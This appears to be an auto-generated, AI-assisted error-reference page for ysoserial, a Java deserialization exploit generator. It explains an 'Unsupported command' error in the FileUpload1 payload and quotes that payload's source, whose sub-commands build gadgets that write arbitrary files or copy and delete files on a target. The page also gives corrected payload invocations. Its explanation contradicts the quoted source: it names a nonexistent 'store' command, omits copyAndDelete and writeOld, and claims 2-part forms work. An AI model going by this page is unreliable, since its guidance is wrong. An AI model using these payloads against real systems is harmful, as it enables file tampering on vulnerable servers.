frohoff/ysoserial · error · IllegalArgumentException

Unsupported command

Error message

Unsupported command ${command} ${parts}

What it means

FileUpload1 payload supports a fixed set of sub-commands (store, write, writeB64/writeOldB64 variants) encoded in parts[0]. getObject() throws this IllegalArgumentException when the command string does not match any supported sub-command or has the wrong number of parts.

Solutions

1. Prefix the command with a supported sub-command, e.g. 'writeOldB64;<filename>;<base64>'
2. Check FileUpload1 source for the exact accepted command names and required part counts
3. Base64-encode content when using the *B64 variants instead of passing raw bytes

Example fix

// before
new FileUpload1().getObject("/tmp/x.txt;hello");
// after
new FileUpload1().getObject("writeOldB64;/tmp/x.txt;aGVsbG8=");

Set<String> cmds = Set.of("store","write","writeB64","writeOldB64"); if (!cmds.contains(command.split(";")[0])) throw new IllegalArgumentException("unsupported sub-command");

try { obj = new FileUpload1().getObject(cmd); } catch (IllegalArgumentException e) { printAcceptedCommands(); }

When it happens

Trigger: Calling FileUpload1.getObject(command) where parts[0] is not one of the supported command names, or the split count doesn't match any accepted branch (parts.length values other than the handled 2/3-element forms).

Common situations: Copy-pasting a command string from a different payload; misspelling 'writeOldB64' or 'store'; passing a plain filename without a sub-command prefix.

Understand the failure class

Background: "Invalid ... format", "must be in format X", "does not look like a ..." — invalid argument format errors across CLI tools and libraries — this error's family across 17 libraries.

Related errors

• Command format is
• Command format is
• Unsupported command
• Command format is
• Hibernate4 can only call getters

AI-assisted analysis of frohoff/ysoserial@218bcffcaa (2026-09-12). Data as JSON: /api/errors/f3cae6555190111c. Report an issue: GitHub.

Appendix: source

Thrown at src/main/java/ysoserial/payloads/FileUpload1.java:71

        String[] parts = command.split(";");

        if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
            return copyAndDelete(parts[ 1 ], parts[ 2 ]);
        }
        else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) {
            return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
        }
        else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) {
            return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
        }
        else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) {
            return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
        }
        else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) {
            return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
        }
        else {
            throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
        }
    }


    public void release ( DiskFileItem obj ) throws Exception {
        // otherwise the finalizer deletes the file
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
        Reflections.setFieldValue(obj, "dfos", dfos);
    }

    private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
        return makePayload(0, copyTo, copyAndDelete, new byte[1]);
    }


    // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
    private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
        return makePayload(data.length + 1, dir, dir + "/whatever", data);

View on GitHub (pinned to 218bcffcaa)